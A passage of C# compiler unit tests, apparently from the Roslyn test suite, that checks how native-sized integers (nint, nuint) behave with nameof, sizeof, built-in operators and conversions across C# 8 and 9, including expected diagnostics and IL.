var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,20): error CS0103: The name 'nint' does not exist in the current context
// _ = nameof(@nint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "@nint").WithArguments("nint").WithLocation(5, 20),
// (6,20): error CS0103: The name 'nuint' does not exist in the current context
// _ = nameof(@nuint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "@nuint").WithArguments("nuint").WithLocation(6, 20));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,20): error CS0103: The name 'nint' does not exist in the current context
// _ = nameof(@nint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "@nint").WithArguments("nint").WithLocation(5, 20),
// (6,20): error CS0103: The name 'nuint' does not exist in the current context
// _ = nameof(@nuint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "@nuint").WithArguments("nuint").WithLocation(6, 20));
}
[Fact]
public void NameOf_04()
{
var source =
@"class Program
{
static void F(int @nint, uint @nuint)
{
_ = nameof(@nint);
_ = nameof(@nuint);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void NameOf_05()
{
var source =
@"class Program
{
static void F()
{
_ = nameof(nint.Equals);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,20): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = nameof(nint.Equals);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(5, 20));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
/// <summary>
/// sizeof(IntPtr) and sizeof(nint) require compiling with /unsafe.
/// </summary>
[Fact]
public void SizeOf_01()
{
var source =
@"class Program
{
static void Main()
{
_ = sizeof(System.IntPtr);
_ = sizeof(System.UIntPtr);
_ = sizeof(nint);
_ = sizeof(nuint);
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,13): error CS0233: 'IntPtr' does not have a predefined size, therefore sizeof can only be used in an unsafe context
// _ = sizeof(System.IntPtr);
Diagnostic(ErrorCode.ERR_SizeofUnsafe, "sizeof(System.IntPtr)").WithArguments("System.IntPtr").WithLocation(5, 13),
// (6,13): error CS0233: 'UIntPtr' does not have a predefined size, therefore sizeof can only be used in an unsafe context
// _ = sizeof(System.UIntPtr);
Diagnostic(ErrorCode.ERR_SizeofUnsafe, "sizeof(System.UIntPtr)").WithArguments("System.UIntPtr").WithLocation(6, 13),
// (7,13): error CS0233: 'nint' does not have a predefined size, therefore sizeof can only be used in an unsafe context
// _ = sizeof(nint);
Diagnostic(ErrorCode.ERR_SizeofUnsafe, "sizeof(nint)").WithArguments("nint").WithLocation(7, 13),
// (8,13): error CS0233: 'nuint' does not have a predefined size, therefore sizeof can only be used in an unsafe context
// _ = sizeof(nuint);
Diagnostic(ErrorCode.ERR_SizeofUnsafe, "sizeof(nuint)").WithArguments("nuint").WithLocation(8, 13));
}
[Fact]
public void SizeOf_02()
{
var source =
@"using System;
class Program
{
unsafe static void Main()
{
Console.Write(sizeof(System.IntPtr));
Console.Write(sizeof(System.UIntPtr));
Console.Write(sizeof(nint));
Console.Write(sizeof(nuint));
}
}";
var comp = CreateCompilation(source, options: TestOptions.UnsafeReleaseExe, parseOptions: TestOptions.Regular9);
int size = IntPtr.Size;
var verifier = CompileAndVerify(comp, expectedOutput: $"{size}{size}{size}{size}");
verifier.VerifyIL("Program.Main",
@"{
// Code size 45 (0x2d)
.maxstack 1
IL_0000: sizeof ""System.IntPtr""
IL_0006: call ""void System.Console.Write(int)""
IL_000b: sizeof ""System.UIntPtr""
IL_0011: call ""void System.Console.Write(int)""
IL_0016: sizeof ""System.IntPtr""
IL_001c: call ""void System.Console.Write(int)""
IL_0021: sizeof ""System.UIntPtr""
IL_0027: call ""void System.Console.Write(int)""
IL_002c: ret
}");
}
[Fact]
public void SizeOf_03()
{
var source =
@"using System.Collections.Generic;
unsafe class Program
{
static IEnumerable<int> F()
{
yield return sizeof(nint);
yield return sizeof(nuint);
}
}";
var comp = CreateCompilation(source, options: TestOptions.UnsafeReleaseDll, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (6,22): error CS1629: Unsafe code may not appear in iterators
// yield return sizeof(nint);
Diagnostic(ErrorCode.ERR_IllegalInnerUnsafe, "sizeof(nint)").WithLocation(6, 22),
// (7,22): error CS1629: Unsafe code may not appear in iterators
// yield return sizeof(nuint);
Diagnostic(ErrorCode.ERR_IllegalInnerUnsafe, "sizeof(nuint)").WithLocation(7, 22));
}
[Fact]
public void SizeOf_04()
{
var source =
@"unsafe class Program
{
const int A = sizeof(System.IntPtr);
const int B = sizeof(System.UIntPtr);
const int C = sizeof(nint);
const int D = sizeof(nuint);
}";
var comp = CreateCompilation(source, options: TestOptions.UnsafeReleaseDll, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (3,19): error CS0133: The expression being assigned to 'Program.A' must be constant
// const int A = sizeof(System.IntPtr);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "sizeof(System.IntPtr)").WithArguments("Program.A").WithLocation(3, 19),
// (4,19): error CS0133: The expression being assigned to 'Program.B' must be constant
// const int B = sizeof(System.UIntPtr);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "sizeof(System.UIntPtr)").WithArguments("Program.B").WithLocation(4, 19),
// (5,19): error CS0133: The expression being assigned to 'Program.C' must be constant
// const int C = sizeof(nint);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "sizeof(nint)").WithArguments("Program.C").WithLocation(5, 19),
// (6,19): error CS0133: The expression being assigned to 'Program.D' must be constant
// const int D = sizeof(nuint);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "sizeof(nuint)").WithArguments("Program.D").WithLocation(6, 19));
}
// PEVerify should succeed. Previously, PEVerify reported duplicate
// TypeRefs for System.IntPtr in i.ToString() and (object)i.
[Fact]
public void MultipleTypeRefs_01()
{
string source =
@"class Program
{
static string F1(nint i)
{
return i.ToString();
}
static object F2(nint i)
{
return i;
}
static void Main()
{
System.Console.WriteLine(F1(-42));
System.Console.WriteLine(F2(42));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"-42
42");
verifier.VerifyIL("Program.F1",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""string System.IntPtr.ToString()""
IL_0007: ret
}");
verifier.VerifyIL("Program.F2",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}");
}
// PEVerify should succeed. Previously, PEVerify reported duplicate
// TypeRefs for System.UIntPtr in UIntPtr.get_MaxValue and (object)u.
[Fact]
public void MultipleTypeRefs_02()
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct UInt64 { }
public struct UIntPtr
{
public static UIntPtr MaxValue => default;
public static UIntPtr MinValue => default;
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = comp.EmitToImageReference(options: EmitOptions.Default.WithRuntimeMetadataVersion("4.0.0.0"));
var sourceB =
@"class Program
{
static ulong F1()
{
return nuint.MaxValue;
}
static object F2()
{
nuint u = 42;
return u;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
// PEVerify is skipped because it reports "Type load failed" because of the above corlib,
// not because of duplicate TypeRefs in this assembly. Replace the above corlib with the
// actual corlib when that assembly contains UIntPtr.MaxValue or if we decide to support
// nuint.MaxValue (since MaxValue could be used in this test instead).
var verifier = CompileAndVerify(comp, verify: Verification.Skipped);
verifier.VerifyIL("Program.F1",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: call ""System.UIntPtr System.UIntPtr.MaxValue.get""
IL_0005: conv.u8
IL_0006: ret
}");
verifier.VerifyIL("Program.F2",
@"{
// Code size 9 (0x9)
.maxstack 1
IL_0000: ldc.i4.s 42
IL_0002: conv.i
IL_0003: box ""System.UIntPtr""
IL_0008: ret
}");
}
[WorkItem(42453, "https://github.com/dotnet/roslyn/issues/42453")]
[Fact]
public void ReadOnlyField_VirtualMethods()
{
string source =
@"using System;
using System.Linq.Expressions;
class MyInt
{
private readonly nint _i;
internal MyInt(nint i)
{
_i = i;
}
public override string ToString()
{
return _i.ToString();
}
public override int GetHashCode()
{
return ((Func<int>)_i.GetHashCode)();
}
public override bool Equals(object other)
{
return _i.Equals((other as MyInt)?._i);
}
internal string ToStringFromExpr()
{
Expression<Func<string>> e = () => ((Func<string>)_i.ToString)();
return e.Compile()();
}
internal int GetHashCodeFromExpr()
{
Expression<Func<int>> e = () => _i.GetHashCode();
return e.Compile()();
}
}
class Program
{
static void Main()
{
var m = new MyInt(42);
Console.WriteLine(m);
Console.WriteLine(m.GetHashCode());
Console.WriteLine(m.Equals(null));
Console.WriteLine(m.ToStringFromExpr());
Console.WriteLine(m.GetHashCodeFromExpr());
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
$@"42
{42.GetHashCode()}
False
42
{42.GetHashCode()}");
verifier.VerifyIL("MyInt.ToString",
@"{
// Code size 15 (0xf)
.maxstack 1
.locals init (System.IntPtr V_0)
IL_0000: ldarg.0
IL_0001: ldfld ""nint MyInt._i""
IL_0006: stloc.0
IL_0007: ldloca.s V_0
IL_0009: call ""string System.IntPtr.ToString()""
IL_000e: ret
}");
verifier.VerifyIL("MyInt.GetHashCode",
@"{
// Code size 29 (0x1d)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldfld ""nint MyInt._i""
IL_0006: box ""System.IntPtr""
IL_000b: dup
IL_000c: ldvirtftn ""int object.GetHashCode()""
IL_0012: newobj ""System.Func<int>..ctor(object, System.IntPtr)""
IL_0017: callvirt ""int System.Func<int>.Invoke()""
IL_001c: ret
}");
verifier.VerifyIL("MyInt.Equals",
@"{
// Code size 51 (0x33)
.maxstack 3
.locals init (System.IntPtr V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: ldfld ""nint MyInt._i""
IL_0006: stloc.0
IL_0007: ldloca.s V_0
IL_0009: ldarg.1
IL_000a: isinst ""MyInt""
IL_000f: dup
IL_0010: brtrue.s IL_001e
IL_0012: pop
IL_0013: ldloca.s V_1
IL_0015: initobj ""nint?""
IL_001b: ldloc.1
IL_001c: br.s IL_0028
IL_001e: ldfld ""nint MyInt._i""
IL_0023: newobj ""nint?..ctor(nint)""
IL_0028: box ""nint?""
IL_002d: call ""bool System.IntPtr.Equals(object)""
IL_0032: ret
}");
}
/// <summary>
/// Verify there is the number of built in operators for { nint, nuint, nint?, nuint? }
/// for each operator kind.
/// </summary>
[Fact]
public void BuiltInOperators()
{
var source = "";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
verifyOperators(comp);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyOperators(comp);
static void verifyOperators(CSharpCompilation comp)
{
var unaryOperators = new[]
{
UnaryOperatorKind.PostfixIncrement,
UnaryOperatorKind.PostfixDecrement,
UnaryOperatorKind.PrefixIncrement,
UnaryOperatorKind.PrefixDecrement,
UnaryOperatorKind.UnaryPlus,
UnaryOperatorKind.UnaryMinus,
UnaryOperatorKind.BitwiseComplement,
};
var binaryOperators = new[]
{
BinaryOperatorKind.Addition,
BinaryOperatorKind.Subtraction,
BinaryOperatorKind.Multiplication,
BinaryOperatorKind.Division,
BinaryOperatorKind.Remainder,
BinaryOperatorKind.LessThan,
BinaryOperatorKind.LessThanOrEqual,
BinaryOperatorKind.GreaterThan,
BinaryOperatorKind.GreaterThanOrEqual,
BinaryOperatorKind.LeftShift,
BinaryOperatorKind.RightShift,
BinaryOperatorKind.Equal,
BinaryOperatorKind.NotEqual,
BinaryOperatorKind.Or,
BinaryOperatorKind.And,
BinaryOperatorKind.Xor,
};
foreach (var operatorKind in unaryOperators)
{
verifyUnaryOperators(comp, operatorKind, skipNativeIntegerOperators: true);
verifyUnaryOperators(comp, operatorKind, skipNativeIntegerOperators: false);
}
foreach (var operatorKind in binaryOperators)
{
verifyBinaryOperators(comp, operatorKind, skipNativeIntegerOperators: true);
verifyBinaryOperators(comp, operatorKind, skipNativeIntegerOperators: false);
}
static void verifyUnaryOperators(CSharpCompilation comp, UnaryOperatorKind operatorKind, bool skipNativeIntegerOperators)
{
var builder = ArrayBuilder<UnaryOperatorSignature>.GetInstance();
comp.builtInOperators.GetSimpleBuiltInOperators(operatorKind, builder, skipNativeIntegerOperators);
var operators = builder.ToImmutableAndFree();
int expectedSigned = skipNativeIntegerOperators ? 0 : 1;
int expectedUnsigned = skipNativeIntegerOperators ? 0 : (operatorKind == UnaryOperatorKind.UnaryMinus) ? 0 : 1;
verifyOperators(operators, (op, signed) => isNativeInt(op.OperandType, signed), expectedSigned, expectedUnsigned);
verifyOperators(operators, (op, signed) => isNullableNativeInt(op.OperandType, signed), expectedSigned, expectedUnsigned);
}
static void verifyBinaryOperators(CSharpCompilation comp, BinaryOperatorKind operatorKind, bool skipNativeIntegerOperators)
{
var builder = ArrayBuilder<BinaryOperatorSignature>.GetInstance();
comp.builtInOperators.GetSimpleBuiltInOperators(operatorKind, builder, skipNativeIntegerOperators);
var operators = builder.ToImmutableAndFree();
int expected = skipNativeIntegerOperators ? 0 : 1;
verifyOperators(operators, (op, signed) => isNativeInt(op.LeftType, signed), expected, expected);
verifyOperators(operators, (op, signed) => isNullableNativeInt(op.LeftType, signed), expected, expected);
}
static void verifyOperators<T>(ImmutableArray<T> operators, Func<T, bool, bool> predicate, int expectedSigned, int expectedUnsigned)
{
Assert.Equal(expectedSigned, operators.Count(op => predicate(op, true)));
Assert.Equal(expectedUnsigned, operators.Count(op => predicate(op, false)));
}
static bool isNativeInt(TypeSymbol type, bool signed)
{
return type.IsNativeIntegerType &&
type.SpecialType == (signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr);
}
static bool isNullableNativeInt(TypeSymbol type, bool signed)
{
return type.IsNullableType() && isNativeInt(type.GetNullableUnderlyingType(), signed);
}
}
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Theory]
[InlineData(false)]
[InlineData(true)]
public void BuiltInConversions_CSharp8(bool useCompilationReference)
{
var sourceA =
@"public class A
{
public static nint F1;
public static nuint F2;
public static nint? F3;
public static nuint? F4;
}";
var sourceB =
@"class B : A
{
static void M1()
{
long x = F1;
ulong y = F2;
long? z = F3;
ulong? w = F4;
}
static void M2(int x, uint y, int? z, uint? w)
{
F1 = x;
F2 = y;
F3 = z;
F4 = w;
}
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp);
verifier.VerifyIL("B.M1",
@"{
// Code size 59 (0x3b)
.maxstack 1
.locals init (nint? V_0,
nuint? V_1)
IL_0000: ldsfld ""nint A.F1""
IL_0005: pop
IL_0006: ldsfld ""nuint A.F2""
IL_000b: pop
IL_000c: ldsfld ""nint? A.F3""
IL_0011: stloc.0
IL_0012: ldloca.s V_0
IL_0014: call ""bool nint?.HasValue.get""
IL_0019: brfalse.s IL_0023
IL_001b: ldloca.s V_0
IL_001d: call ""nint nint?.GetValueOrDefault()""
IL_0022: pop
IL_0023: ldsfld ""nuint? A.F4""
IL_0028: stloc.1
IL_0029: ldloca.s V_1
IL_002b: call ""bool nuint?.HasValue.get""
IL_0030: brfalse.s IL_003a
IL_0032: ldloca.s V_1
IL_0034: call ""nuint nuint?.GetValueOrDefault()""
IL_0039: pop
IL_003a: ret
}");
verifier.VerifyIL("B.M2",
@"{
// Code size 95 (0x5f)
.maxstack 1
.locals init (int? V_0,
nint? V_1,
uint? V_2,
nuint? V_3)
IL_0000: ldarg.0
IL_0001: conv.i
IL_0002: stsfld ""nint A.F1""
IL_0007: ldarg.1
IL_0008: conv.u
IL_0009: stsfld ""nuint A.F2""
IL_000e: ldarg.2
IL_000f: stloc.0
IL_0010: ldloca.s V_0
IL_0012: call ""bool int?.HasValue.get""
IL_0017: brtrue.s IL_0024
IL_0019: ldloca.s V_1
IL_001b: initobj ""nint?""
IL_0021: ldloc.1
IL_0022: br.s IL_0031
IL_0024: ldloca.s V_0
IL_0026: call ""int int?.GetValueOrDefault()""
IL_002b: conv.i
IL_002c: newobj ""nint?..ctor(nint)""
IL_0031: stsfld ""nint? A.F3""
IL_0036: ldarg.3
IL_0037: stloc.2
IL_0038: ldloca.s V_2
IL_003a: call ""bool uint?.HasValue.get""
IL_003f: brtrue.s IL_004c
IL_0041: ldloca.s V_3
IL_0043: initobj ""nuint?""
IL_0049: ldloc.3
IL_004a: br.s IL_0059
IL_004c: ldloca.s V_2
IL_004e: call ""uint uint?.GetValueOrDefault()""
IL_0053: conv.u
IL_0054: newobj ""nuint?..ctor(nuint)""
IL_0059: stsfld ""nuint? A.F4""
IL_005e: ret
}");
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Theory]
[InlineData(false)]
[InlineData(true)]
public void BuiltInOperators_CSharp8(bool useCompilationReference)
{
var sourceA =
@"public class A
{
public static nint F1;
public static nuint F2;
public static nint? F3;
public static nuint? F4;
}";
var sourceB =
@"class B : A
{
static void Main()
{
_ = -F1;
_ = +F2;
_ = -F3;
_ = +F4;
_ = F1 * F1;
_ = F2 / F2;
_ = F3 * F1;
_ = F4 / F2;
}
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp);
verifier.VerifyIL("B.Main",
@"{
// Code size 143 (0x8f)
.maxstack 2
.locals init (nint? V_0,
nuint? V_1,
System.IntPtr V_2,
System.UIntPtr V_3)
IL_0000: ldsfld ""nint A.F1""
IL_0005: pop
IL_0006: ldsfld ""nuint A.F2""
IL_000b: pop
IL_000c: ldsfld ""nint? A.F3""
IL_0011: stloc.0
IL_0012: ldloca.s V_0
IL_0014: call ""bool nint?.HasValue.get""
IL_0019: brfalse.s IL_0023
IL_001b: ldloca.s V_0
IL_001d: call ""nint nint?.GetValueOrDefault()""
IL_0022: pop
IL_0023: ldsfld ""nuint? A.F4""
IL_0028: stloc.1
IL_0029: ldloca.s V_1
IL_002b: call ""bool nuint?.HasValue.get""
IL_0030: brfalse.s IL_003a
IL_0032: ldloca.s V_1
IL_0034: call ""nuint nuint?.GetValueOrDefault()""
IL_0039: pop
IL_003a: ldsfld ""nint A.F1""
IL_003f: pop
IL_0040: ldsfld ""nint A.F1""
IL_0045: pop
IL_0046: ldsfld ""nuint A.F2""
IL_004b: ldsfld ""nuint A.F2""
IL_0050: div.un
IL_0051: pop
IL_0052: ldsfld ""nint? A.F3""
IL_0057: stloc.0
IL_0058: ldsfld ""nint A.F1""
IL_005d: stloc.2
IL_005e: ldloca.s V_0
IL_0060: call ""bool nint?.HasValue.get""
IL_0065: brfalse.s IL_006f
IL_0067: ldloca.s V_0
IL_0069: call ""nint nint?.GetValueOrDefault()""
IL_006e: pop
IL_006f: ldsfld ""nuint? A.F4""
IL_0074: stloc.1
IL_0075: ldsfld ""nuint A.F2""
IL_007a: stloc.3
IL_007b: ldloca.s V_1
IL_007d: call ""bool nuint?.HasValue.get""
IL_0082: brfalse.s IL_008e
IL_0084: ldloca.s V_1
IL_0086: call ""nuint nuint?.GetValueOrDefault()""
IL_008b: ldloc.3
IL_008c: div.un
IL_008d: pop
IL_008e: ret
}");
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = -F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F1").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = +F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F2").WithArguments("native-sized integers", "9.0").WithLocation(6, 13),
// (7,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = -F3;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F3").WithArguments("native-sized integers", "9.0").WithLocation(7, 13),
// (8,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = +F4;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F4").WithArguments("native-sized integers", "9.0").WithLocation(8, 13),
// (9,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 * F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 * F1").WithArguments("native-sized integers", "9.0").WithLocation(9, 13),
// (10,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F2 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F2 / F2").WithArguments("native-sized integers", "9.0").WithLocation(10, 13),
// (11,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F3 * F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F3 * F1").WithArguments("native-sized integers", "9.0").WithLocation(11, 13),
// (12,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F4 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F4 / F2").WithArguments("native-sized integers", "9.0").WithLocation(12, 13));
}
[Fact]
public void BuiltInConversions_UnderlyingTypes()
{
var source =
@"class A
{
static System.IntPtr F1;
static System.UIntPtr F2;
static System.IntPtr? F3;
static System.UIntPtr? F4;
static void M1()
{
long x = F1;
ulong y = F2;
long? z = F3;
ulong? w = F4;
}
static void M2(int x, uint y, int? z, uint? w)
{
F1 = x;
F2 = y;
F3 = z;
F4 = w;
}
}";
var diagnostics = new[]
{
// (9,18): error CS0266: Cannot implicitly convert type 'System.IntPtr' to 'long'. An explicit conversion exists (are you missing a cast?)
// long x = F1;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "F1").WithArguments("System.IntPtr", "long").WithLocation(9, 18),
// (10,19): error CS0266: Cannot implicitly convert type 'System.UIntPtr' to 'ulong'. An explicit conversion exists (are you missing a cast?)
// ulong y = F2;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "F2").WithArguments("System.UIntPtr", "ulong").WithLocation(10, 19),
// (11,19): error CS0266: Cannot implicitly convert type 'System.IntPtr?' to 'long?'. An explicit conversion exists (are you missing a cast?)
// long? z = F3;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "F3").WithArguments("System.IntPtr?", "long?").WithLocation(11, 19),
// (12,20): error CS0266: Cannot implicitly convert type 'System.UIntPtr?' to 'ulong?'. An explicit conversion exists (are you missing a cast?)
// ulong? w = F4;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "F4").WithArguments("System.UIntPtr?", "ulong?").WithLocation(12, 20),
// (16,14): error CS0266: Cannot implicitly convert type 'int' to 'System.IntPtr'. An explicit conversion exists (are you missing a cast?)
// F1 = x;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "x").WithArguments("int", "System.IntPtr").WithLocation(16, 14),
// (17,14): error CS0266: Cannot implicitly convert type 'uint' to 'System.UIntPtr'. An explicit conversion exists (are you missing a cast?)
// F2 = y;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "y").WithArguments("uint", "System.UIntPtr").WithLocation(17, 14),
// (18,14): error CS0266: Cannot implicitly convert type 'int?' to 'System.IntPtr?'. An explicit conversion exists (are you missing a cast?)
// F3 = z;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "z").WithArguments("int?", "System.IntPtr?").WithLocation(18, 14),
// (19,14): error CS0266: Cannot implicitly convert type 'uint?' to 'System.UIntPtr?'. An explicit conversion exists (are you missing a cast?)
// F4 = w;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "w").WithArguments("uint?", "System.UIntPtr?").WithLocation(19, 14)
};
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Fact]
public void BuiltInOperators_UnderlyingTypes()
{
var source =
@"#pragma warning disable 649
class A
{
static System.IntPtr F1;
static System.UIntPtr F2;
static System.IntPtr? F3;
static System.UIntPtr? F4;
static void Main()
{
F1 = -F1;
F2 = +F2;
F3 = -F3;
F4 = +F4;
F1 = F1 * F1;
F2 = F2 / F2;
F3 = F3 * F1;
F4 = F4 / F2;
}
}";
var diagnostics = new[]
{
// (10,14): error CS0023: Operator '-' cannot be applied to operand of type 'IntPtr'
// F1 = -F1;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "-F1").WithArguments("-", "System.IntPtr").WithLocation(10, 14),
// (11,14): error CS0023: Operator '+' cannot be applied to operand of type 'UIntPtr'
// F2 = +F2;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "+F2").WithArguments("+", "System.UIntPtr").WithLocation(11, 14),
// (12,14): error CS0023: Operator '-' cannot be applied to operand of type 'IntPtr?'
// F3 = -F3;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "-F3").WithArguments("-", "System.IntPtr?").WithLocation(12, 14),
// (13,14): error CS0023: Operator '+' cannot be applied to operand of type 'UIntPtr?'
// F4 = +F4;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "+F4").WithArguments("+", "System.UIntPtr?").WithLocation(13, 14),
// (14,14): error CS0019: Operator '*' cannot be applied to operands of type 'IntPtr' and 'IntPtr'
// F1 = F1 * F1;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "F1 * F1").WithArguments("*", "System.IntPtr", "System.IntPtr").WithLocation(14, 14),
// (15,14): error CS0019: Operator '/' cannot be applied to operands of type 'UIntPtr' and 'UIntPtr'
// F2 = F2 / F2;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "F2 / F2").WithArguments("/", "System.UIntPtr", "System.UIntPtr").WithLocation(15, 14),
// (16,14): error CS0019: Operator '*' cannot be applied to operands of type 'IntPtr?' and 'IntPtr'
// F3 = F3 * F1;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "F3 * F1").WithArguments("*", "System.IntPtr?", "System.IntPtr").WithLocation(16, 14),
// (17,14): error CS0019: Operator '/' cannot be applied to operands of type 'UIntPtr?' and 'UIntPtr'
// F4 = F4 / F2;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "F4 / F2").WithArguments("/", "System.UIntPtr?", "System.UIntPtr").WithLocation(17, 14)
};
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Theory]
[InlineData(false, false)]
[InlineData(true, false)]
[InlineData(false, true)]
[InlineData(true, true)]
public void BuiltInConversions_NativeIntegers(bool useCompilationReference, bool useLatest)
{
var sourceA =
@"public class A
{
public static nint F1;
public static nuint F2;
public static nint? F3;
public static nuint? F4;
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var sourceB =
@"class B : A
{
static void M1()
{
long x = F1;
ulong y = F2;
long? z = F3;
ulong? w = F4;
}
static void M2(int x, uint y, int? z, uint? w)
{
F1 = x;
F2 = y;
F3 = z;
F4 = w;
}
}";
comp = CreateCompilation(sourceB, references: new[] { AsReference(comp, useCompilationReference) }, parseOptions: useLatest ? TestOptions.Regular9 : TestOptions.Regular8);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp);
verifier.VerifyIL("B.M1",
@"{
// Code size 59 (0x3b)
.maxstack 1
.locals init (nint? V_0,
nuint? V_1)
IL_0000: ldsfld ""nint A.F1""
IL_0005: pop
IL_0006: ldsfld ""nuint A.F2""
IL_000b: pop
IL_000c: ldsfld ""nint? A.F3""
IL_0011: stloc.0
IL_0012: ldloca.s V_0
IL_0014: call ""bool nint?.HasValue.get""
IL_0019: brfalse.s IL_0023
IL_001b: ldloca.s V_0
IL_001d: call ""nint nint?.GetValueOrDefault()""
IL_0022: pop
IL_0023: ldsfld ""nuint? A.F4""
IL_0028: stloc.1
IL_0029: ldloca.s V_1
IL_002b: call ""bool nuint?.HasValue.get""
IL_0030: brfalse.s IL_003a
IL_0032: ldloca.s V_1
